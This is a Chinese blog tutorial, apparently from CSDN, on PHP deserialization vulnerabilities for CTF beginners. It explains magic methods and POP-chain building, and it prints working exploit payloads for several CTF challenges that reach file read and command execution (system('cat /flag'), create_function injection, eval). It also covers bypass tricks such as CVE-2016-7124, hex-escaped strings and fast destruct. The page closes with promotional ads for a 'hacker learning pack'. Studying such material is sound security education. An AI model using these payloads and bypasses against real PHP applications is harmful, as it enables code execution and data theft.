【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作（非常详细）零基础入门到精通，收藏这一篇就够了1

最新推荐文章于 2025-09-14 21:40:16 发布
原创 最新推荐文章于 2025-09-14 21:40:16 发布 · 392 阅读 · 6 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #php #android

前言

这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段反序列化渗透与防御第1篇。

本文主要讲解什么是PHP对象反序列化操作

喜欢的朋友们，记得给大白点赞支持和收藏一下，关注我，学习黑客技术。

PHP反序列化

简介

什么是反序列化？
反序列化是将数据从序列化的形式（通常是字节流、JSON、XML等格式）转换为原始数据结构或对象的过程。序列化和反序列化是在数据存储、数据传输和数据交换方面常见的概念。

序列化（Serialization）：将对象或数据结构转换为可存储或传输的形式，通常是字节流或字符串。序列化的目的是将内存中的对象转换为可以持久化或传输的格式，以便在需要时能够还原为原始的对象。

反序列化（Deserialization）：将序列化后的数据重新转换为原始的对象或数据结构。反序列化是序列化的逆过程，它从序列化的形式还原出原始的对象，以便在程序中使用。

常见的序列化格式包括：

1、JSON（JavaScript Object Notation）：一种轻量级的数据交换格式，易于人阅读和编写，同时也易于机器解析和生成。

{"name": "John", "age": 30, "city": "New York"}

2、XML（eXtensible Markup Language）：一种标记语言，用于存储和传输数据。

<person>  
    <name>John</name>  
    <age>30</age>  
    <city>New York</city>  
</person>

3、pickle（Python 特有的序列化格式）：Python 中的序列化模块，可以将 Python 对象序列化为二进制格式。

import pickle  
  
data = {"name": "John", "age": 30, "city": "New York"}  
serialized_data = pickle.dumps(data)

4、Protocol Buffers（protobuf）：一种由 Google 开发的二进制序列化格式，用于高效地存储和交换结构化数据。

实例

serialize()

<?php  
$sites = array('Google', 'Runoob', 'Facebook');  
$serialized_data = serialize($sites);  
echo  $serialized_data;  
?>

输出结果：

a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}

unserialize()

<?php  
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';  
$unserialized_data = unserialize($str);  
print_r($unserialized_data);  
?>

输出结果为：

Array  
(  
    [0] => Google  
    [1] => Runoob  
    [2] => Facebook  
)  
  


<?php    
class TEST{  
    public $test1="11";  //公有的  
    private $test2="22";  //私有的  
    protected $test3="33";  //保护的  
    public function test4()  
    {  
        echo $this->test1;  
    }  
}  
$a=new TEST();  
echo serialize($a);  
  


O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:"TESTtest2";s:2:"22";s:8:"*test3";s:2:"33";}

public（公有）：公有的类成员可以在**任何地方被访问，**属性被序列化的时候属性值会变成 属性名

protected（受保护）：受保护的类成员则可以**被其自身以及其子类和父类访问，**属性被序列化的时候属性值会变成 \x00\*\x00属性名

private（私有）：私有的类成员则**只能被其定义所在的类访问，**属性被序列化的时候属性值会变成 \x00类名\x00属性名

\x00表示空字符，占有一个字符位置

php序列化的字母标识

字母标识数据类型
aarray
bboolean
ddouble
iinteger
ocommon object
rreference
sstring
Ccustom object
Oclass
Npointer reference
Runicode string
UNULL

php魔术方法

  • php类中包含了一些魔术方法，这些函数可以在代码中任何地方不用声明就可以使用

  • 与PHP（反）序列化有关的魔术方法

  • 反序列化魔术方法

方法解释
__construct()对象创建(new)时会自动调用
__destruct对象被销毁时触发
__wakeup()使用unserialize时触发
__sleep()使用serialize时触发
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__toString()把类当作字符串使用时触发
__invoke()当脚本尝试将对象调用为函数时触发

不可访问的两层含义：

  1. 不存在

  2. 无权限，例如private

技巧思路

  1. 首先找起始和结尾, 万能用的起始：

  2. __wakeup() 完美的起始

  3. __destruct() 完美的起始

  4. 通过反序列化可以给属性进行任意赋值，因此只要是属性，其值我们完全可控

  5. 首尾相连，找链式调用，注意不要被变量名骗了，一定要找到所有的可能性

  6. 本地构造序列化，反着写！哪个类是最后调用的就先new哪个类

反序列化的常见起点：

__wakeup 一定会调用 //使用unserialize时触发

__destruct 一定会调用 //对象被销毁时触发

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this-> $func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

例题：2022网鼎杯白虎组web(php反序列化)
<?php  
  
class abaaba{  
    protected $DoNotGet;  
	//__get()用于从不可访问的属性读取数据  
    public function __get($name){	//3  
        $this->DoNotGet->$name = "two";  
        return $this->DoNotGet->$name;  
    }  
	//__toString()把类当作字符串使用时触发  
    public function __toString(){	//4  
        return $this->Giveme;  
    }  
}  
  
class Onemore{  
  
    public $file;  
    private $filename = "one";  
  
    public function __construct(){  
        $this->readfile("images/def.jpg");  
    }  
  
    public function readfile($f){	//1、读取函数  
        $this->file = isset($f) ? $f : 'image'.$this->file;  
        echo file_get_contents(safe($this->file));  
    }  
  
    public function __invoke(){  
        return $this->filename->Giveme;  
    }  
}  
  
class suhasuha{  
    private $Giveme;  
    public $action;  
	//__set()用于将数据写入不可访问的属性  
    public function __set($name, $value){	//2、执行函数	  
        $this->Giveme = ($this->action)();  
        return $this->Giveme;  
    }  
}  
  
class One{  
    public $count;  
  
    public function __construct(){  
        $this->count = "one";  
    }  
  
    public function __destruct(){  
        echo "try ".$this->count." again";	//5  
    }  
  
}  
  
function safe($path){  
    $path = preg_replace("/.*\/\/.*/", "", $path);  
    $path = preg_replace("/\..\..*/", "!", $path);  
    $path = htmlentities($path);  
    return strip_tags($path);  
}  
  
if(isset($_GET['game'])){  
    unserialize($_GET['game']);  
}  
else{  
    show_source(__FILE__);  
}
源码分析

  1. 类 abaaba：
    实现了 __get 方法，用于从不可访问的属性读取数据。
    实现了 __toString 方法，当将类当作字符串使用时触发。

  2. 类 Onemore：
    包含一个公共属性 $file 和一个私有属性 $filename。
    在构造函数中调用了 readfile 方法，该方法接受一个参数并设置 $file 的值，然后调用 file_get_contents 读取文件内容。
    实现了 __invoke 方法，允许将对象当作函数调用，返回私有属性 $filename 的属性 Giveme。

  3. 类 suhasuha：
    包含私有属性 $Giveme 和公共属性 $action。
    实现了 __set 方法，用于将数据写入不可访问的属性。在这里，它调用了 $action 的结果并将其赋值给 $Giveme。

  4. 类 One：
    包含一个公共属性 $count。
    在构造函数中设置 $count 的值。
    实现了 __destruct 方法，在对象被销毁时输出一条信息。

  5. 全局函数 safe：
    对传入的路径进行一系列操作，包括正则表达式替换和 HTML 转义，以确保路径的相对安全性。

  6. 全局代码：
    通过 show_source(FILE) 显示当前文件的源代码。
    如果存在 GET 参数 game，则执行 unserialize($_GET[‘game’])，存在反序列化漏洞的风险。

类Onemore的file变量可控，就可通过自定义函数中readfile中的file_get_contents函数来读取flag，问题是触发readfile执行函数？

在类suhasuha中，__set魔术方法存在$this->Giveme = ( $this->action)()的函数调用，而action是该类的成员变量（可控的），将Onemore::readfile函数传递给action即可调用readfile函数。问题是触发suhasuha类的__set方法？

在类abaaba的__get方法中存在 $ this->DoNotGet-> $ name = “two”。对未定义的name赋值，及对一个未定义的属性进行赋值时会触发__set魔术方法，那么将DoNotGet赋值为new suhasuha()，会触发该类的__set方法。如何触发类abaaba中的__get方法？同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性，则会触发类abaaba的__get方法。

而触发__toString方法需要将一个类作为字符串使用，可以找到在类One中析构方法__destruct存在echo “try”.$this->count.“again”拼接字符串行为，那么将count赋值为new abaaba()，那么此处就会触发类abaaba中的tostring方法。

综上所述，正向攻击设置new One()–>count=new abaaba()，new abaaba()–>DoNotGet=new suhasuha()，new suhasuha()->action = [new Onemore(),”readfile”];

攻击执行流程为：new abaaba()->tostring->get->new suhasuha()->__set->new Onemore()->readfile。

最后注意safe函数用%00绕过。

payload

<?php  
class abaaba{  
    protected $DoNotGet;  
    public function __get($name){  
        $this->DoNotGet->$name = "two";  
        return $this->DoNotGet->$name;  
    }  
  
    public function __toString(){  
        return $this->Giveme;  
    }  
  
    public function __construct($obj){  
    	$this->DoNotGet = $obj;  
    }  
}  
class Onemore{  
    public $file;  
    private $filename;  
  
    public function __construct(){  
        $this->readfile("images/def.jpg");  
    }  
  
    public function readfile($f){  
        $this->file = isset($f) ? $f : 'image'.$this->file;  
        echo file_get_contents(safe($this->file));  
    }  
  
    public function __invoke(){  
        return $this->filename->Giveme;  
    }  
  
}  
class suhasuha{  
    private $Giveme;  
    public $action;  
  
    public function __set($name, $value){  
        $this->Giveme = ($this->action)();  
        return $this->Giveme;  
    }  
  
}  
class One{  
    public $count;  
  
    public function __construct(){  
        $this->count = "one";  
    }  
  
    public function __destruct(){  
        echo "try ".$this->count." again";  
    }  
}  
function safe($path){  
    $path = preg_replace("/.*\/\/.*/", "", $path);  
    $path = preg_replace("/\..\..*/", "!", $path);  
    $path = htmlentities($path);  
    return strip_tags($path);  
}  
  
$one = new One();  
$suhasuha = new suhasuha();  
$one->count = new abaaba($suhasuha);  
$Onemore = new Onemore();  
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");  
$suhasuha->action = [$Onemore,"readfile"];  
  
echo urlencode(serialize($one));  
  


O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A41%3A%22%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2Fflag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D

构造序列化字符串时给属性任意赋值的三种方法

<?php   
  
class Test {  
    public $name = 'test'; // 方法1：直接属性上赋值。缺点：只能赋值字符串/数组/数字等，不能赋值为一个对象  
    public $obj;  
    public $boi;  
  
    public function __construct($obj) {  
        $this->obj = $obj; // 方法2：构造方法赋值，可以任意赋值，万能！  
    }  
}  
  
$test = new Test("xxx");  
$test->boi = "xxx"; // 方法3：外部赋值，可以赋值为任意类型。缺点：只能给public属性赋值，不能给protected/private属性赋值，不推荐

数组调用特性

在函数调用场景下进行任意类下方法执行

<?php  
error_reporting(0);  
class GetFlag  
{  
    public $code;  
    public $action;  
    public function get_flag(){  
        echo "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\n";  
        echo $this->code . $this->action;  
    }  
}  
// [new Object,“func”]() 会去调用Object对象的func方法  
  
$g = new GetFlag();  
$g->code = 'code';  
$g->action = 'action';  
  
[$g, 'get_flag'](); // 数组第⼀个元素是对象，第⼆个元素是⽅法名，就会调⽤该对象下该⽅法。

绕过wakeup(CVE-2016-7124)

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
class Test  
{  
    public $cmd;  
    public function __wakeup()  
    {  
        $this->cmd = 'hahaha';  
    }  
    public function __destruct() {  
		echo $this->cmd;  
        system($this->cmd);  
    }  
}  
unserialize($_GET['a']);

绕过⽅法：序列化字符串中表示对象属性个数的值⼤于真实的属性个数时会跳过wakeup()的执⾏。

<?php  
class Test  
{  
    public $cmd;  
    public function __construct(){  
        $this->cmd = 'whoami';  
    }  
}  
$a = new Test;  
echo serialize($a);

输出：O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

修改属性个数后：O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

绕过序列化字符串中关键字的过滤

利用十六进制绕过

将序列化字符串中的 s 改为 S ，具体的字符串值可以⽤ \ + ⼗六进制 的形式表⽰ ⽤处：绕过对序列化字符串的关键字的过滤

O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";s:4:"john";}  
  
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}  
  
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}  
O:4:"Test":1:{s:3:"cmd";S:6:"\77\68\6f\61\6d\69";}
利用引用绕过

指针问题

<?php  
class test {  
    public $a;  
    public $b;  
    public function __construct(){  
        $this->a = 'aaa';  
    }  
    public function __destruct(){  
        if($this->a === $this->b) {  
            echo 'you success';  
        }  
    }  
}  
if(isset($_REQUEST['input'])) {  
    if(preg_match('/aaa/', $_REQUEST['input'])) {  
        die('nonono');  
    }

可以利⽤引⽤进⾏绕过

要$this->a 等于 $this->b ，那么就 $this->a = & $this->b;

<?php  
class test {  
    public $a;  
    public $b;  
    public function __construct(){  
        $this->b = &$this->a;  
    }  
}  
$a = serialize(new test());  
echo $a;  
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

构造引⽤使得 $b 和 $a 地址相同从⽽绕过检测，达成要求

绕过正则过滤对象字符串开头O:

如preg_match(‘/^O:\d+/’)匹配序列化字符串是否是对象字符串开头

绕过⽅法

  • 利⽤加号绕过（注意在url⾥传参时+要编码为%2B）。

  • 利⽤数组对象绕过，如 serialize(array( $a)); a为要反序列化的对象(序列化结果开头是a，不影响作为数组元素 的 $a的析构)。

<?php  
class test{  
    public $a;  
    public function __construct(){  
        $this->a = 'abc';  
    }  
    public function __destruct(){  
        echo $this->a.PHP_EOL;  
    }  
}  
function match($data){  
    if (preg_match('/^O:\d+/',$data)){  
        die('nonono!');  
    }else{  
        return $data;  
    }  
}  
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';  
// +号绕过  
$b = str_replace('O:4','O:+4', $a);  
unserialize(match($b));  
// 将对象放⼊数组绕过 serialize(array($a));  
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

快速析构 Fast Destruct

快速析构：让__destruct()放在反序列化后⽴刻触发，而不要等脚本执行完成后的垃圾回收销毁对象才触发

作用：绕过对反序列化成功后得到的对象的属性值的检测。

两种方法：

  1. 修改属性个数

  2. 删除最后的⼤括号

__destruct()相关

__destruct()是PHP对象的⼀个魔术⽅法，称为析构函数，顾名思义是当该对象被销毁的时候⾃动执⾏的⼀个函数。其中以下情况会触发__destruct()

  • 主动调用unset($obj)

  • 主动调用$obj = NULL

  • 程序自动结束

除此之外，PHP还拥有垃圾回收Garbage collection即GC机制。

PHP中GC使用引用计数和回收周期⾃动管理内存对象，那么这时候当我们的对象变成了“垃圾”，就会被GC机制自动回收掉，回收过程中，就会调⽤函数的__destruct()。

当⼀个对象没有任何引⽤的时候，则会被视为“垃圾”

test 对象被变量 a 引⽤， 所以该对象不是“垃圾”

$a = new test();

⽽如果是这样

new test();

或这样

$a = new test();$a = 1

这样在 test 在没有被引用或在失去引⽤时便会被当作“垃圾”进⾏回收。

<?php  
class test{  
    function __construct($i)  
    {  
        $this->i = $i;  
    }  
    function __destruct()  
    {  
        echo $this->i."Destroy...\n";  
    }  
}  
new test('1');  
$a = new test('2');  
$a = new test('3');  
echo "————————————<br/>";

输出

1Destroy...  
2Destroy...  
————————————  
3Destroy...

绕过hash比较

使用 Error/Exception 内置类绕过哈希比较
Error 类

Error 是所有PHP内部错误类的基类，该类是在PHP 7.0.0 中开始引入的。

类摘要：

Error implements Throwable {  
    /* 属性 */  
    protected string $message ;  
    protected int $code ;  
    protected string $file ;  
    protected int $line ;  
    /* 方法 */  
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )  
    final public getMessage ( ) : string  
    final public getPrevious ( ) : Throwable  
    final public getCode ( ) : mixed  
    final public getFile ( ) : string  
    final public getLine ( ) : int  
    final public getTrace ( ) : array  
    final public getTraceAsString ( ) : string  
    public __toString ( ) : string  
    final private __clone ( ) : void  
}

类属性：

  • message：错误消息内容

  • code：错误代码

  • file：抛出错误的文件名

  • line：抛出错误在该文件中的行数

类方法：

方法解释
Error::__construct初始化 error 对象
Error::getMessage获取错误信息
Error::getPrevious返回先前的 Throwable
Error::getCode获取错误代码
Error::getFile获取错误发生时的文件
Error::getLine获取错误发生时的行号
Error::getTrace获取调用栈（stack trace）
Error::getTraceAsString获取字符串形式的调用栈（stack trace）
Error::__toStringerror 的字符串表达
Error::__clone克隆 error
Exception 类

Exception 是所有异常的基类，该类是在PHP 5.0.0 中开始引入的。

类摘要：

Exception {  
    /* 属性 */  
    protected string $message ;  
    protected int $code ;  
    protected string $file ;  
    protected int $line ;  
    /* 方法 */  
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )  
    final public getMessage ( ) : string  
    final public getPrevious ( ) : Throwable  
    final public getCode ( ) : mixed  
    final public getFile ( ) : string  
    final public getLine ( ) : int  
    final public getTrace ( ) : array  
    final public getTraceAsString ( ) : string  
    public __toString ( ) : string  
    final private __clone ( ) : void  
}

类属性：

  • message：异常消息内容

  • code：异常代码

  • file：抛出异常的文件名

  • line：抛出异常在该文件中的行号

类方法：

方法解释
Exception::__construct异常构造函数
Exception::getMessage获取异常消息内容
Exception::getPrevious返回异常链中的前一个异常
Exception::getCode获取异常代码
Exception::getFile创建异常时的程序文件名称
Exception::getLine获取创建的异常所在文件中的行号
Exception::getTrace获取异常追踪信息
Exception::getTraceAsString获取字符串类型的异常追踪信息
Exception::__toString将异常对象转换为字符串
Exception::__clone异常克隆

我们可以看到，在Error和Exception这两个PHP原生类中内只有 __toString 方法，这个方法用于将异常或错误对象转换为字符串。

我们以Error为例，我们看看当触发他的 __toString 方法时会发生什么：

<?php  
$a = new Error("payload",1);  
echo $a;

输出如下：

Error: payload in /usercode/file.php:2  
Stack trace:  
#0 {main}

发现这将会以字符串的形式输出当前报错，包含当前的错误信息（“payload”）以及当前报错的行号（“2”），而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子：

<?php  
$a = new Error("payload",1);$b = new Error("payload",2);  
echo $a;  
echo "\r\n\r\n";  
echo $b;

输出如下：

Error: payload in /usercode/file.php:2  
Stack trace:  
#0 {main}  
  
Error: payload in /usercode/file.php:2  
Stack trace:  
#0 {main}

可见，$a 和 $b 这两个错误对象本身是不同的，但 __toString 方法返回的结果是相同的。注意，这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样，只不过 Exception 类适用于PHP 5和7，而 Error 只适用于 PHP 7。

Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用，具体请看下面这道例题。

[2020 极客大挑战]Greatphp

<?php  
error_reporting(0);  
class SYCLOVER {  
    public $syc;  
    public $lover;  
  
    public function __wakeup(){  
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){  
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){  
               eval($this->syc);  
           } else {  
               die("Try Hard !!");  
           }  
             
        }  
    }  
}  
  
if (isset($_GET['great'])){  
    unserialize($_GET['great']);  
} else {  
    highlight_file(__FILE__);  
}  
  
?>

源代码解析：

  1. 类 SYCLOVER：

  • 包含两个公共属性 $syc 和 $lover。

  • 实现了 __wakeup 方法，该方法是 PHP 中的魔术方法，会在反序列化后立即调用。

  • __wakeup 方法中进行了一系列条件判断：

  • 检查 $syc 和 $lover 是否不相等。

  • 检查 $syc 和 $lover 的 MD5 散列值是否相等。

  • 检查 $syc 和 $lover 的 SHA-1 散列值是否相等。

  • 如果以上条件都满足，且 $ syc 中不包含 <php, (, ), ", ’ 这些敏感字符，就执行 eval($this->syc)。

  • 如果 $syc 中包含敏感字符，则输出 “Try Hard !!” 并终止程序。

  1. 全局代码：

  • 通过 highlight_file(FILE) 显示当前文件的源代码。

  • 如果存在 GET 参数 great，则执行 unserialize($_GET[‘great’])，存在反序列化漏洞的风险。

  1. 安全防范：

  • 通过 error_reporting(0) 关闭错误报告，以防止泄漏敏感信息。

  • 在 __wakeup 方法中使用了一系列条件判断，对输入进行验证和过滤，防止恶意代码执行。

  • 使用了 eval 函数执行反序列化后的代码，这是一个潜在的安全风险，因为 eval 允许执行任意代码。在生产环境中，最好避免使用 eval，而是使用更安全的替代方法。

解题

  • $a 和 $b 这两个对象本身是不同的，但 __toString 方法返回的结果是相同的，这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

  • Exception 类与 Error 的使用和结果完全一样。

  • 将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象，让这两个对象本身不同（传入的错误代码即可），但是 __toString 方法输出的结果相同即可

  • 由于题目用preg_match过滤了小括号无法调用函数，所以尝试直接 include "/flag" 将flag包含进来即可；由于过滤了引号，直接用url取反绕过即可。

<?php  
echo urlencode("/flag")  
echo urlencode(~urldecode("%2f%66%6c%61%67"));  
?>

输出

%d0%99%93%9e%98

~按位取反运算符：对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1

<?php  
$str1 = "./flag";  
$s = urlencode(~$str1);  
  
$str = "?><?=include~".urldecode($s)."?>";  
$a = new Exception($str , 1); $b = new Exception($str , 2);  
class SYCLOVER {  
    public $syc;  
    public $lover;  
    public function __construct($syc, $lover) {  
        $this->syc = $syc;  
        $this->lover = $lover;  
    }  
}  
$syc = new SYCLOVER($a, $b);  
echo urlencode(serialize($syc));

一些例题

数组调⽤特性

解题payload：

<?php  
error_reporting(0);  
// highlight_file(__FILE__);  
$pwd = getcwd();  
class func  
{  
    public $mod1;  
    public $mod2;  
    public $key;  
    public function __construct()  
    {  
        $this->key = serialize([new GetFlag, "get_flag"]);  
    }  
}  
  
class GetFlag  
{  
    public $code;  
    public $action;  
    public function __construct()  
    {  
        $this->code = ";}system('cat /flag');//";  
        $this->action = "create_function";  
    }  
}  
  
$a = new func();  
echo urlencode(serialize($a));  
  


O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A126%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A24%3A%22%3B%7Dsystem%28%27cat+%2Fflag%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D

利用create-function来执行命令的

如果可控在第一个参数，需要闭合圆括号和大括号：create_function('){}phpinfo();//', '');
如果可控在第二个参数，需要闭合大括号：create_function('', '}phpinfo();//');

create_function任意代码执行原理

绕过序列化字符串中关键字的过滤
<?php  
class Test  
{  
    public $cmd = 'cat /flag';  
    public $name = 'john';  
}  
function decorate($top, $niddle, $hexstring)  
{  
    $arr = explode(':', $top);  
    for ($i = 0; $i < count($arr); $i++) {  
        if (strpos($arr[$i], $niddle) !== false) {  
            $arr[$i - 2] = preg_replace('/s/', 'S', $arr[$i - 2]);  
            $arr[$i] = str_replace($niddle, $hexstring, $arr[$i]);  
        }  
    }  
    return join(':', $arr);  
}  
echo decorate(serialize(new Test), "john", '\6a\6f\68\6e');  
  


O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}

绕过特定的某个关键字将序列化字符串中的 s 改为 S ，具体的字符串值可以用 \ + ⼗六进制的形式表示用处：绕过对序列化字符串的关键字的过滤。

快速析构 Fast Destruct

解题payload

<?php  
  
class Test  
{  
    public $cmd;  
    public $name;  
    public function __construct() {  
        $this->cmd = "cat /flag";  
        $this->name = "john";  
    }  
}  
$aa = new Test;  
echo serialize($aa);

输出

O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}

然后使用下面的方法进行快速析构：

让__destruct()放在反序列化后⽴刻触发，⽽不要等脚本执⾏完成后的垃圾回收销毁对象才触发

绕过对反序列化成功后得到的对象的属性值的检测。

两种⽅法：1. 修改掉属性个数 2. 删除最后的⼤括号

最终payload

O:4:"Test":3:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}  
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";
指针问题
<?php  
class Seri{  
    public $alize;  
    public function __construct() {  
        $this->alize = new Alize();  
        $this->alize->t1 = &$this->alize->t2;  
    }  
}  
class Alize{  
    public $f = '/flag';  
    public $t1;  
    public $t2;  
}  
echo serialize(new Seri);

输出

O:4:"Seri":1:{s:5:"alize";O:5:"Alize":3:{s:1:"f";s:5:"/flag";s:2:"t1";N;s:2:"t2";R:4;}}

如果希望 $this->a 永远等于 $this->b ，那么就 $ this->a = &$this->b;

网络安全学习包

图片

图片

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

282G《网络安全/黑客技术入门学习大礼包》，可以扫描下方二维码免费领取！

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

图片

图片

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

图片

图片

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

图片

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

图片

5.黑客必读书单

图片

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

图片

更多内容为防止和谐，可以扫描获取~

图片

朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》，可以扫描下方二维码免费领取！

图片

END

图片

特别声明：

此教程为纯技术分享！本书的目的绝不是为那些怀有不良动机的人提供技术支持！也不承担因为技术被滥用所产生的连带责任！本书的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失！！！

网络安全从入门到精通（特别篇I）：Linux安全事件应急响应之Linux应急响应基础必备技能
HACKONE的博客
04-10 1849
awk 首先将每条日志中的IP抓出来，如日志格式被自定义过，可以 -F 定义分隔符和 print指定列；
从入门到精通：Nginx运维秘籍大公开
大雨的博客
05-26 1348
Nginx 运维涵盖了从基础操作到进阶技巧，再到实战演练和监控维护的多个层面，每一个环节都紧密相连，共同保障着 Web 服务的稳定高效运行。通过安装 Nginx，我们开启了这一技术之旅，掌握启动、停止与重启的方法，如同掌握了机器运转的开关。深入了解配置文件的结构，让我们能够根据业务需求，灵活调整 Nginx 的行为，使其更好地服务于我们的应用。在进阶技巧部分，负载均衡配置让我们能够合理分配请求，充分利用后端服务器资源；缓存设置提升了访问速度，减轻了服务器压力；
初识PHP反序列化
weixin_49064458的博客
12-09 1543
反序列化是将数据从序列化的形式（通常是字节流、JSON、XML等格式）转换为原始数据结构或对象的过程。
php反序列化
volcanic_erupt的博客
01-15 1095
序列化（serialize)是将对象转化为字符串的过程，即为把对象的属性信息转换为可以存储和运输的字符串形式。：O（object变量类型):4（类名长度）:"test"（类名）:1（变量数量）：{s:4（变量名字长度）:"name"（变量名字）;s:4（值的长度）:"Jack";
PHP反序列化漏洞
最新发布
2301_81348577的博客
09-14 1632
序列化简单来说就是类或者对象转换为字符串的过程。
PHP反序列化
m0_69637056的博客
07-10 5871
PHP
php反序列化原理
byll1024的博客
05-20 1443
PHP反序列化是将经过序列化的字符串恢复成原始数据结构的过程。序列化是指将复杂数据结构（如数组、对象）转换为可存储或传输的字符串形式，而反序列化则是将这些字符串重新转换回原来的数据结构。在PHP中，这通常通过`unserialize()`函数实现。这个函数读取序列化字符串，并根据其中包含的信息重建原始的数据结构。需要注意的是，反序列化过程可能会执行字符串中包含的代码，因此存在安全风险。为了避免潜在的安全隐患，建议只对可信的序列化字符串进行反序列化操作。
php面试题汇总（必会）
pz_winner的博客
11-08 3774
1、酒店预订怎么实现？怎么设计表   你好，我大概的说下我们的业务流程，我们的业务流程是：用户在网站浏览酒店信息，可以根据地区检索出该地区的酒店信息。列表展示酒店的信息由：酒店的名称，酒店图片，酒店位置，评论人数，评论分数以及最低入住价格。用户选中要入住的酒店进入酒店详情页面，查看酒店的介绍以及酒店的房型列表，用户根据他要入住的时间和离店的时间，检索出这个时间段内的所有可选房型（房间数量-当天
从零开始学CTF（第十九期）
2501_90727259的博客
07-16 1030
CTF 安全工具是解题的 “加速器”，但工具的价值取决于使用者的技术深度。从信息收集到漏洞利用，从代码审计到密码破解，每类工具都有其独特优势，而高手的核心能力在于：根据题目场景快速选择合适工具，组合形成攻击链，并在工具失效时用手动方法突破。学习工具的终极目标是 “为我所用”—— 既不被工具限制思路，也不排斥工具的效率优势。通过大量实战练习，将工具内化为解题直觉，才能在 CTF 竞赛中应对自如，最终夺取旗帜。
php面试题汇总（必会）一：
热门推荐
差不多先生
01-28 3万+
